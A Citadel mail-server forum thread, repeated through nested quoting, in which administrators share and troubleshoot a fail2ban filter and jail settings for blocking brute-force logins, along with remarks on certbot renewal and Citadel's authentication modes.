Those http requests to .well_known are buggy, problematic, and a constant fight with Barron von Munchausen (damons, configs, servers, turn it off, in order to turn it on kind of thing.. ). 

BUT.. based on my reading of the "self-signed certificates" thread.. one thing is not coming out clearly.  

Those problems only happen at 2 particular times:

1) When you initially create a cert.

2) When you expand or renew one.

So, it isn't like the problem is there all the time. Nothing is running constantly.

Once you have the cert, you can just comment out the lines in your nginx/apache config, restart and then it's business as usual, for 90 more days.

It's a little tricky automating renewal on a citadel box, but it's definitely do-able.  I am doing it. 

One of the tricks is to use one of the certbot plugins, cloudflare-dns or something like that. 

It's much easier, and much more reliable once it's configured.

 

Hi, just a quick thanks for posting this info, you saved me a lot of head scratching and web searchin!

Wed Jan 13 2021 14:36:14 EST from omatnet Subject: Re: Quick and dirty Fail2ban filter for Citadel..

I didn't test the filter with fail2ban-regex. Instead I tested it by running two console windows on one IP and a browser on another IP, on one I was monitoring the mail.log file (using "watch tail /var/log/mail.log") on the next I was checking the jail status: "sudo fail2ban-client status citadel" and on the third I accessed WebCit with a browser and deliberately typing wrong passwords. It worked like a charm - in each wrong password login attempt the right info line was added to mail.log and after 3 attempts (in my case maxretry = 3) fail2ban jailed the IP. So the filter works.

I noticed however that the filter does not work for login attempts where the username does not exist in the system and the offender it only trying to guess a username. However, it seems that Citadel doesn't generate any log line in this case anyway.

Wed Jan 13 2021 02:15:46 EST from Michael Subject: Re: Quick and dirty Fail2ban filter for Citadel..

Have you tried testing the filter via command line? fail2ban-regex <path to log> filter_name

Mon Jan 11 2021 12:25:43 EST from omatnet Subject: Re: Quick and dirty Fail2ban filter for Citadel..

It works well for me also with log level of 6. However I noticed something else and not sure if it is an issue: At times, the Citadel mail log doesn't list the IP address of the calling machine, but the domain name (if it resolves to a domain name).

Do you have any idea if fail2ban will still handle a domain name in the log the same way it would an IP?

 

Also, in my case I decided that any banned remote machine should be banned on all ports, not only on the mail ports or ssh port etc. So I changed the iptables port command (action.d/iptables-multiport.conf) from <port> to be 0:65535. This also solves any other tweaks that will be needed when using non-standard ports (or otherwise fail2ban will report banning, but will not actually ban the IP as the ban would be on the wrong port).

 

Sun Jan 10 2021 22:40:26 EST from warbaby Subject: Re: Quick and dirty Fail2ban filter for Citadel..

As I recall, when I wrote this, I was starting citserver from the command line with a log level of 7, so I could test various logins and watch..

IIRC something like:

/usr/local/citadel/citserver -x7 # which I forgot to document. :O

[That's just a guess though, I don't have it in front of me, and my HISTFILE ain't that long. See https://citadel.org/loglevel.html but, the doc with the switches is harder to find, it may be still on the Wayback machine.]

I did that so I could see the output as I was working on the filter. 

I was not concerned with integration with other logs, only syslog, since syslog is the default for easyinstall installations..

And also, wanted to do one regex to catch every authentication attempt on every port, IMAP, SMTP, 504, XMPP, Webcit etc... that was the aim.  As I recall, mine does that.

Also, keep a handy reference to UNBAN yourself when testing, because I guarantee it's going to happen.

fail2ban-client set citadel unbanip <your-ip-address>

Also, remember to keep a way to log into your VPS or system after you're blocked.  Physical keyboard, host terminal, etc.. 

IF you have a network or password glitch, or you change your password in Webcit..  THUNDERBIRD will keep throwing out the old credentials with reckless abandon, thereby GUARANTEEING you're QUICKLY BLOCKED! You have to move fast. You might want to set your bantime low and your retries a little higher, depending on how many users you have and where they are at, because that one certainly will come up over a period of time..  You'll think, "hey, lemme jus change dis passwerd" then seconds later, be wondering why your ssh session is no longer responding...

 

Tue Sep 29 2020 07:58:40 PM EDT from warbaby Subject: Quick and dirty Fail2ban filter for Citadel..

In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]

install fail2ban according to the way you do it for you..

Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .

The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. 

It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..

[This will take time, and we can use any/all help.]

But, this will definitely stop the brute forcing.  I banned & blocked myself several times with it last night.. :)

1) Add this filter (maybe in /etc/fail2ban/filter.d/citadel.conf, or whatever suits your setup)

[Follow down below, more after the file.. ]

##

# Fail2Ban filter for citadel (citserver)
#
# Citadel should default to log incorrect passwords by <service>. This SHOULD
# include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.
# but has only been tested for webcit, and smtp..

[INCLUDES]

before = common.conf

[Definition]

_daemon = citserver

# Option:  failregex
# Notes.:  regex to match yer password failures messages in yer logfile.
# Values:  TEXT

failregex = ^%(__prefix_line)suser_ops: bad password specified for <[^>]+> Service <[^>]+> Port <[^>]+> Remote <<HOST>

# Option:  ignoreregex
# Notes.:  regex to ignore. If this regex matches, the line is ignored.
# Values:  TEXT
#
ignoreregex =

###

2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]

[citadel] 
bantime = 1h 
logpath = /var/log/syslog

 

3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )

 

[sshd]
enabled = true

[citadel]
enabled = true

 

4) Restart fail2ban, however you like to do it.  maybe:

service fail2ban restart

5) Check to see if your new jail is active..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status
Status
|- Number of jail:    2
`- Jail list:    citadel, sshd

6) Check for bans..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel
Status for the jail: citadel
|- Filter
|  |- Currently failed:    0
|  |- Total failed:    225
|  `- File list:    /var/log/syslog
`- Actions
   |- Currently banned:    25
   |- Total banned:    225
   `- Banned IP list:    ....

I'll try to get a proper procedure written for you sometime ...

 

 

 

 

There a number of ways Citadel handles authentication, among these being: (citadel.h 195)

/*
 * Authentication modes
 */
#define AUTHMODE_NATIVE    0  // Native (self-contained or "black box")
#define AUTHMODE_HOST      1  // Authenticate against the host OS user database
#define AUTHMODE_LDAP      2  // Authenticate against an LDAP server with RFC 2$
#define AUTHMODE_LDAP_AD   3  // Authenticate against non-standard MS Active Di$

The assumption here has been that we are talking about NATIVE (internal) mode..

but, there is also the (increasingly rare) case of HOST, and the various cases of LDAP.

I know from experience, that HOST is not uniform to NATIVE. 

HOST involves the chkpwd utility, and the underlying authentication system. [chkpwd is old, and hangs a lot.  It should be examined.. ]

I know for a fact, that brute force attempts on a system using AUTHMODE_HOST will CREATE any account name that is tried...

meaning, accounts such as 'admin', 'root', 'mysel', and 'mail' will begin to appear. [not cool]

These accounts will simply show up in your database if anyone tries to log in on a system using AUTHMODE_HOST.

I know it because it happened to me a few years ago.

I'm not sure about the LDAP situation, it would require research. As would the OAUTH integration, and whatever else might be in there.

As with any code of this vintage, we expect to find some nooks and crannys..

My point in posting then, is that all AUTH related code should be REVIEWED, to ascertain CONSISTENCY.

To make sure we don't have all kinds of edge cases, and end up dragging this out over the next decade. 

Then, ALL the authentication logging should be unified to run at some (either default, or easily adjusted) log level.

It should be ROBUST, and CONSISTENT, working the same way, regardless of CLIENT or SERVICE. 

Then it would be quite trivial to have a filter which can find those lines in whatever log they might appear.

I don't have a lot of time to do this myself at the moment, but will help out in locating/explaining what I know.

There are also session considerations for stateless clients.

Authentication/Session kind of goes together. 

The whole apparatus should be looked at by someone other than Art, if for no reason other than his sanity. 

Then we should have a good, open discussion.

If anyone wants to jump in on that, I'll do what I can to help you.

I didn't test the filter with fail2ban-regex. Instead I tested it by running two console windows on one IP and a browser on another IP, on one I was monitoring the mail.log file (using "watch tail /var/log/mail.log") on the next I was checking the jail status: "sudo fail2ban-client status citadel" and on the third I accessed WebCit with a browser and deliberately typing wrong passwords. It worked like a charm - in each wrong password login attempt the right info line was added to mail.log and after 3 attempts (in my case maxretry = 3) fail2ban jailed the IP. So the filter works.

I noticed however that the filter does not work for login attempts where the username does not exist in the system and the offender it only trying to guess a username. However, it seems that Citadel doesn't generate any log line in this case anyway.

Wed Jan 13 2021 02:15:46 EST from Michael Subject: Re: Quick and dirty Fail2ban filter for Citadel..

Have you tried testing the filter via command line? fail2ban-regex <path to log> filter_name

Mon Jan 11 2021 12:25:43 EST from omatnet Subject: Re: Quick and dirty Fail2ban filter for Citadel..

It works well for me also with log level of 6. However I noticed something else and not sure if it is an issue: At times, the Citadel mail log doesn't list the IP address of the calling machine, but the domain name (if it resolves to a domain name).

Do you have any idea if fail2ban will still handle a domain name in the log the same way it would an IP?

 

Also, in my case I decided that any banned remote machine should be banned on all ports, not only on the mail ports or ssh port etc. So I changed the iptables port command (action.d/iptables-multiport.conf) from <port> to be 0:65535. This also solves any other tweaks that will be needed when using non-standard ports (or otherwise fail2ban will report banning, but will not actually ban the IP as the ban would be on the wrong port).

 

Sun Jan 10 2021 22:40:26 EST from warbaby Subject: Re: Quick and dirty Fail2ban filter for Citadel..

As I recall, when I wrote this, I was starting citserver from the command line with a log level of 7, so I could test various logins and watch..

IIRC something like:

/usr/local/citadel/citserver -x7 # which I forgot to document. :O

[That's just a guess though, I don't have it in front of me, and my HISTFILE ain't that long. See https://citadel.org/loglevel.html but, the doc with the switches is harder to find, it may be still on the Wayback machine.]

I did that so I could see the output as I was working on the filter. 

I was not concerned with integration with other logs, only syslog, since syslog is the default for easyinstall installations..

And also, wanted to do one regex to catch every authentication attempt on every port, IMAP, SMTP, 504, XMPP, Webcit etc... that was the aim.  As I recall, mine does that.

Also, keep a handy reference to UNBAN yourself when testing, because I guarantee it's going to happen.

fail2ban-client set citadel unbanip <your-ip-address>

Also, remember to keep a way to log into your VPS or system after you're blocked.  Physical keyboard, host terminal, etc.. 

IF you have a network or password glitch, or you change your password in Webcit..  THUNDERBIRD will keep throwing out the old credentials with reckless abandon, thereby GUARANTEEING you're QUICKLY BLOCKED! You have to move fast. You might want to set your bantime low and your retries a little higher, depending on how many users you have and where they are at, because that one certainly will come up over a period of time..  You'll think, "hey, lemme jus change dis passwerd" then seconds later, be wondering why your ssh session is no longer responding...

 

Tue Sep 29 2020 07:58:40 PM EDT from warbaby Subject: Quick and dirty Fail2ban filter for Citadel..

In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]

install fail2ban according to the way you do it for you..

Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .

The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. 

It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..

[This will take time, and we can use any/all help.]

But, this will definitely stop the brute forcing.  I banned & blocked myself several times with it last night.. :)

1) Add this filter (maybe in /etc/fail2ban/filter.d/citadel.conf, or whatever suits your setup)

[Follow down below, more after the file.. ]

##

# Fail2Ban filter for citadel (citserver)
#
# Citadel should default to log incorrect passwords by <service>. This SHOULD
# include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.
# but has only been tested for webcit, and smtp..

[INCLUDES]

before = common.conf

[Definition]

_daemon = citserver

# Option:  failregex
# Notes.:  regex to match yer password failures messages in yer logfile.
# Values:  TEXT

failregex = ^%(__prefix_line)suser_ops: bad password specified for <[^>]+> Service <[^>]+> Port <[^>]+> Remote <<HOST>

# Option:  ignoreregex
# Notes.:  regex to ignore. If this regex matches, the line is ignored.
# Values:  TEXT
#
ignoreregex =

###

2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]

[citadel] 
bantime = 1h 
logpath = /var/log/syslog

 

3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )

 

[sshd]
enabled = true

[citadel]
enabled = true

 

4) Restart fail2ban, however you like to do it.  maybe:

service fail2ban restart

5) Check to see if your new jail is active..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status
Status
|- Number of jail:    2
`- Jail list:    citadel, sshd

6) Check for bans..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel
Status for the jail: citadel
|- Filter
|  |- Currently failed:    0
|  |- Total failed:    225
|  `- File list:    /var/log/syslog
`- Actions
   |- Currently banned:    25
   |- Total banned:    225
   `- Banned IP list:    ....

I'll try to get a proper procedure written for you sometime ...

 

 

 

Have you tried testing the filter via command line? fail2ban-regex <path to log> filter_name

Mon Jan 11 2021 12:25:43 EST from omatnet Subject: Re: Quick and dirty Fail2ban filter for Citadel..

It works well for me also with log level of 6. However I noticed something else and not sure if it is an issue: At times, the Citadel mail log doesn't list the IP address of the calling machine, but the domain name (if it resolves to a domain name).

Do you have any idea if fail2ban will still handle a domain name in the log the same way it would an IP?

 

Also, in my case I decided that any banned remote machine should be banned on all ports, not only on the mail ports or ssh port etc. So I changed the iptables port command (action.d/iptables-multiport.conf) from <port> to be 0:65535. This also solves any other tweaks that will be needed when using non-standard ports (or otherwise fail2ban will report banning, but will not actually ban the IP as the ban would be on the wrong port).

 

Sun Jan 10 2021 22:40:26 EST from warbaby Subject: Re: Quick and dirty Fail2ban filter for Citadel..

As I recall, when I wrote this, I was starting citserver from the command line with a log level of 7, so I could test various logins and watch..

IIRC something like:

/usr/local/citadel/citserver -x7 # which I forgot to document. :O

[That's just a guess though, I don't have it in front of me, and my HISTFILE ain't that long. See https://citadel.org/loglevel.html but, the doc with the switches is harder to find, it may be still on the Wayback machine.]

I did that so I could see the output as I was working on the filter. 

I was not concerned with integration with other logs, only syslog, since syslog is the default for easyinstall installations..

And also, wanted to do one regex to catch every authentication attempt on every port, IMAP, SMTP, 504, XMPP, Webcit etc... that was the aim.  As I recall, mine does that.

Also, keep a handy reference to UNBAN yourself when testing, because I guarantee it's going to happen.

fail2ban-client set citadel unbanip <your-ip-address>

Also, remember to keep a way to log into your VPS or system after you're blocked.  Physical keyboard, host terminal, etc.. 

IF you have a network or password glitch, or you change your password in Webcit..  THUNDERBIRD will keep throwing out the old credentials with reckless abandon, thereby GUARANTEEING you're QUICKLY BLOCKED! You have to move fast. You might want to set your bantime low and your retries a little higher, depending on how many users you have and where they are at, because that one certainly will come up over a period of time..  You'll think, "hey, lemme jus change dis passwerd" then seconds later, be wondering why your ssh session is no longer responding...

 

Tue Sep 29 2020 07:58:40 PM EDT from warbaby Subject: Quick and dirty Fail2ban filter for Citadel..

In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]

install fail2ban according to the way you do it for you..

Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .

The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. 

It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..

[This will take time, and we can use any/all help.]

But, this will definitely stop the brute forcing.  I banned & blocked myself several times with it last night.. :)

1) Add this filter (maybe in /etc/fail2ban/filter.d/citadel.conf, or whatever suits your setup)

[Follow down below, more after the file.. ]

##

# Fail2Ban filter for citadel (citserver)
#
# Citadel should default to log incorrect passwords by <service>. This SHOULD
# include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.
# but has only been tested for webcit, and smtp..

[INCLUDES]

before = common.conf

[Definition]

_daemon = citserver

# Option:  failregex
# Notes.:  regex to match yer password failures messages in yer logfile.
# Values:  TEXT

failregex = ^%(__prefix_line)suser_ops: bad password specified for <[^>]+> Service <[^>]+> Port <[^>]+> Remote <<HOST>

# Option:  ignoreregex
# Notes.:  regex to ignore. If this regex matches, the line is ignored.
# Values:  TEXT
#
ignoreregex =

###

2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]

[citadel] 
bantime = 1h 
logpath = /var/log/syslog

 

3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )

 

[sshd]
enabled = true

[citadel]
enabled = true

 

4) Restart fail2ban, however you like to do it.  maybe:

service fail2ban restart

5) Check to see if your new jail is active..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status
Status
|- Number of jail:    2
`- Jail list:    citadel, sshd

6) Check for bans..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel
Status for the jail: citadel
|- Filter
|  |- Currently failed:    0
|  |- Total failed:    225
|  `- File list:    /var/log/syslog
`- Actions
   |- Currently banned:    25
   |- Total banned:    225
   `- Banned IP list:    ....

I'll try to get a proper procedure written for you sometime ...

 

 

It works well for me also with log level of 6. However I noticed something else and not sure if it is an issue: At times, the Citadel mail log doesn't list the IP address of the calling machine, but the domain name (if it resolves to a domain name).

Do you have any idea if fail2ban will still handle a domain name in the log the same way it would an IP?

Also, in my case I decided that any banned remote machine should be banned on all ports, not only on the mail ports or ssh port etc. So I changed the iptables port command (action.d/iptables-multiport.conf) from <port> to be 0:65535. This also solves any other tweaks that will be needed when using non-standard ports (or otherwise fail2ban will report banning, but will not actually ban the IP as the ban would be on the wrong port).

Sun Jan 10 2021 22:40:26 EST from warbaby Subject: Re: Quick and dirty Fail2ban filter for Citadel..

As I recall, when I wrote this, I was starting citserver from the command line with a log level of 7, so I could test various logins and watch..

IIRC something like:

/usr/local/citadel/citserver -x7 # which I forgot to document. :O

[That's just a guess though, I don't have it in front of me, and my HISTFILE ain't that long. See https://citadel.org/loglevel.html but, the doc with the switches is harder to find, it may be still on the Wayback machine.]

I did that so I could see the output as I was working on the filter. 

I was not concerned with integration with other logs, only syslog, since syslog is the default for easyinstall installations..

And also, wanted to do one regex to catch every authentication attempt on every port, IMAP, SMTP, 504, XMPP, Webcit etc... that was the aim.  As I recall, mine does that.

Also, keep a handy reference to UNBAN yourself when testing, because I guarantee it's going to happen.

fail2ban-client set citadel unbanip <your-ip-address>

Also, remember to keep a way to log into your VPS or system after you're blocked.  Physical keyboard, host terminal, etc.. 

IF you have a network or password glitch, or you change your password in Webcit..  THUNDERBIRD will keep throwing out the old credentials with reckless abandon, thereby GUARANTEEING you're QUICKLY BLOCKED! You have to move fast. You might want to set your bantime low and your retries a little higher, depending on how many users you have and where they are at, because that one certainly will come up over a period of time..  You'll think, "hey, lemme jus change dis passwerd" then seconds later, be wondering why your ssh session is no longer responding...

 

Tue Sep 29 2020 07:58:40 PM EDT from warbaby Subject: Quick and dirty Fail2ban filter for Citadel..

In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]

install fail2ban according to the way you do it for you..

Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .

The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. 

It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..

[This will take time, and we can use any/all help.]

But, this will definitely stop the brute forcing.  I banned & blocked myself several times with it last night.. :)

1) Add this filter (maybe in /etc/fail2ban/filter.d/citadel.conf, or whatever suits your setup)

[Follow down below, more after the file.. ]

##

# Fail2Ban filter for citadel (citserver)
#
# Citadel should default to log incorrect passwords by <service>. This SHOULD
# include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.
# but has only been tested for webcit, and smtp..

[INCLUDES]

before = common.conf

[Definition]

_daemon = citserver

# Option:  failregex
# Notes.:  regex to match yer password failures messages in yer logfile.
# Values:  TEXT

failregex = ^%(__prefix_line)suser_ops: bad password specified for <[^>]+> Service <[^>]+> Port <[^>]+> Remote <<HOST>

# Option:  ignoreregex
# Notes.:  regex to ignore. If this regex matches, the line is ignored.
# Values:  TEXT
#
ignoreregex =

###

2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]

[citadel] 
bantime = 1h 
logpath = /var/log/syslog

 

3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )

 

[sshd]
enabled = true

[citadel]
enabled = true

 

4) Restart fail2ban, however you like to do it.  maybe:

service fail2ban restart

5) Check to see if your new jail is active..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status
Status
|- Number of jail:    2
`- Jail list:    citadel, sshd

6) Check for bans..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel
Status for the jail: citadel
|- Filter
|  |- Currently failed:    0
|  |- Total failed:    225
|  `- File list:    /var/log/syslog
`- Actions
   |- Currently banned:    25
   |- Total banned:    225
   `- Banned IP list:    ....

I'll try to get a proper procedure written for you sometime ...

 

As I recall, when I wrote this, I was starting citserver from the command line with a log level of 7, so I could test various logins and watch..

IIRC something like:

/usr/local/citadel/citserver -x7 # which I forgot to document. :O

[That's just a guess though, I don't have it in front of me, and my HISTFILE ain't that long. See https://citadel.org/loglevel.html but, the doc with the switches is harder to find, it may be still on the Wayback machine.]

I did that so I could see the output as I was working on the filter. 

I was not concerned with integration with other logs, only syslog, since syslog is the default for easyinstall installations..

And also, wanted to do one regex to catch every authentication attempt on every port, IMAP, SMTP, 504, XMPP, Webcit etc... that was the aim.  As I recall, mine does that.

Also, keep a handy reference to UNBAN yourself when testing, because I guarantee it's going to happen.

fail2ban-client set citadel unbanip <your-ip-address>

Also, remember to keep a way to log into your VPS or system after you're blocked.  Physical keyboard, host terminal, etc.. 

IF you have a network or password glitch, or you change your password in Webcit..  THUNDERBIRD will keep throwing out the old credentials with reckless abandon, thereby GUARANTEEING you're QUICKLY BLOCKED! You have to move fast. You might want to set your bantime low and your retries a little higher, depending on how many users you have and where they are at, because that one certainly will come up over a period of time..  You'll think, "hey, lemme jus change dis passwerd" then seconds later, be wondering why your ssh session is no longer responding...

Tue Sep 29 2020 07:58:40 PM EDT from warbaby Subject: Quick and dirty Fail2ban filter for Citadel..

In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]

install fail2ban according to the way you do it for you..

Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .

The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. 

It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..

[This will take time, and we can use any/all help.]

But, this will definitely stop the brute forcing.  I banned & blocked myself several times with it last night.. :)

1) Add this filter (maybe in /etc/fail2ban/filter.d/citadel.conf, or whatever suits your setup)

[Follow down below, more after the file.. ]

##

# Fail2Ban filter for citadel (citserver)
#
# Citadel should default to log incorrect passwords by <service>. This SHOULD
# include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.
# but has only been tested for webcit, and smtp..

[INCLUDES]

before = common.conf

[Definition]

_daemon = citserver

# Option:  failregex
# Notes.:  regex to match yer password failures messages in yer logfile.
# Values:  TEXT

failregex = ^%(__prefix_line)suser_ops: bad password specified for <[^>]+> Service <[^>]+> Port <[^>]+> Remote <<HOST>

# Option:  ignoreregex
# Notes.:  regex to ignore. If this regex matches, the line is ignored.
# Values:  TEXT
#
ignoreregex =

###

2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]

[citadel] 
bantime = 1h 
logpath = /var/log/syslog

 

3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )

 

[sshd]
enabled = true

[citadel]
enabled = true

 

4) Restart fail2ban, however you like to do it.  maybe:

service fail2ban restart

5) Check to see if your new jail is active..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status
Status
|- Number of jail:    2
`- Jail list:    citadel, sshd

6) Check for bans..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel
Status for the jail: citadel
|- Filter
|  |- Currently failed:    0
|  |- Total failed:    225
|  `- File list:    /var/log/syslog
`- Actions
   |- Currently banned:    25
   |- Total banned:    225
   `- Banned IP list:    ....

I'll try to get a proper procedure written for you sometime ...

Michael, if you updated the command line parameters in /etc/systemd/system/citadel.service to have the "-lmail" parameter, than the access attempt will be logged in /var/log/mail.log file, so referencing point 2 below by warbaby, the line in jail.local for [citadel] jail would be: "logpath = /var/log/mail.log" instead of "logpath = /var/log/syslog". Did that not work either?

Sat Jan 09 2021 09:17:36 EST from Michael Subject: Re: Quick and dirty Fail2ban filter for Citadel..

I did some testing with the failregex below.  Did not produce any hits against syslog.  Tried this instead:

failregex = .*bad.* <HOST>
      
ignoreregex = systemd|CRON|spamd|fail2ban-client

which found the correct number auf smtp auth errors in my log.

 

On another note, fail2ban's standard sendmail.conf action (used when selecting MTA = sendmail) links to /usr/local/sendmail.  That file links to /usr/local/citadel/citmail on my installation.  Using the -f attribute produces errors.  One needs to update sendmail.conf and sendmail-common.conf to point to citmail.  Everything is working now.

Maybe, in your next build, there is a way to allow the sendmail link to citmail to work without modifying fail2ban's sendmail conf files?

 

Tue Sep 29 2020 19:58:40 EDT from warbaby Subject: Quick and dirty Fail2ban filter for Citadel..

In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]

install fail2ban according to the way you do it for you..

Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .

The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. 

It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..

[This will take time, and we can use any/all help.]

But, this will definitely stop the brute forcing.  I banned & blocked myself several times with it last night.. :)

1) Add this filter (maybe in /etc/fail2ban/filter.d/citadel.conf, or whatever suits your setup)

[Follow down below, more after the file.. ]

##

# Fail2Ban filter for citadel (citserver)
#
# Citadel should default to log incorrect passwords by <service>. This SHOULD
# include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.
# but has only been tested for webcit, and smtp..

[INCLUDES]

before = common.conf

[Definition]

_daemon = citserver

# Option:  failregex
# Notes.:  regex to match yer password failures messages in yer logfile.
# Values:  TEXT

failregex = ^%(__prefix_line)suser_ops: bad password specified for <[^>]+> Service <[^>]+> Port <[^>]+> Remote <<HOST>

# Option:  ignoreregex
# Notes.:  regex to ignore. If this regex matches, the line is ignored.
# Values:  TEXT
#
ignoreregex =

###

2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]

[citadel] 
bantime = 1h 
logpath = /var/log/syslog

 

3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )

 

[sshd]
enabled = true

[citadel]
enabled = true

 

4) Restart fail2ban, however you like to do it.  maybe:

service fail2ban restart

5) Check to see if your new jail is active..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status
Status
|- Number of jail:    2
`- Jail list:    citadel, sshd

6) Check for bans..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel
Status for the jail: citadel
|- Filter
|  |- Currently failed:    0
|  |- Total failed:    225
|  `- File list:    /var/log/syslog
`- Actions
   |- Currently banned:    25
   |- Total banned:    225
   `- Banned IP list:    ....

I'll try to get a proper procedure written for you sometime ...

 

Sat Jan 09 2021 09:17:36 EST from Michael Subject: Re: Quick and dirty Fail2ban filter for Citadel..

I did some testing with the failregex below.  Did not produce any hits against syslog.  Tried this instead:

failregex = .*bad.* <HOST>
      
ignoreregex = systemd|CRON|spamd|fail2ban-client

which found the correct number auf smtp auth errors in my log.

 

On another note, fail2ban's standard sendmail.conf action (used when selecting MTA = sendmail) links to /usr/local/sendmail.  That file links to /usr/local/citadel/citmail on my installation.  Using the -f attribute produces errors.  One needs to update sendmail.conf and the other sendmail-xyz.conf(s) to point to citmail.  Everything is working now.

Maybe, in your next build, there is a way to allow the sendmail link to citmail to work without modifying fail2ban's sendmail conf files?

 

Tue Sep 29 2020 19:58:40 EDT from warbaby Subject: Quick and dirty Fail2ban filter for Citadel..

In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]

install fail2ban according to the way you do it for you..

Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .

The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. 

It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..

[This will take time, and we can use any/all help.]

But, this will definitely stop the brute forcing.  I banned & blocked myself several times with it last night.. :)

1) Add this filter (maybe in /etc/fail2ban/filter.d/citadel.conf, or whatever suits your setup)

[Follow down below, more after the file.. ]

##

# Fail2Ban filter for citadel (citserver)
#
# Citadel should default to log incorrect passwords by <service>. This SHOULD
# include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.
# but has only been tested for webcit, and smtp..

[INCLUDES]

before = common.conf

[Definition]

_daemon = citserver

# Option:  failregex
# Notes.:  regex to match yer password failures messages in yer logfile.
# Values:  TEXT

failregex = ^%(__prefix_line)suser_ops: bad password specified for <[^>]+> Service <[^>]+> Port <[^>]+> Remote <<HOST>

# Option:  ignoreregex
# Notes.:  regex to ignore. If this regex matches, the line is ignored.
# Values:  TEXT
#
ignoreregex =

###

2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]

[citadel] 
bantime = 1h 
logpath = /var/log/syslog

 

3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )

 

[sshd]
enabled = true

[citadel]
enabled = true

 

4) Restart fail2ban, however you like to do it.  maybe:

service fail2ban restart

5) Check to see if your new jail is active..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status
Status
|- Number of jail:    2
`- Jail list:    citadel, sshd

6) Check for bans..

root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel
Status for the jail: citadel
|- Filter
|  |- Currently failed:    0
|  |- Total failed:    225
|  `- File list:    /var/log/syslog
`- Actions
   |- Currently banned:    25
   |- Total banned:    225
   `- Banned IP list:    ....

I'll try to get a proper procedure written for you sometime ...

 

I did some testing with the failregex below.  Did not produce any hits against syslog.  Tried this instead:

failregex = .*bad.* <HOST>
      
ignoreregex = systemd|CRON|spamd|fail2ban-client

which found the correct number auf smtp auth errors in my log.

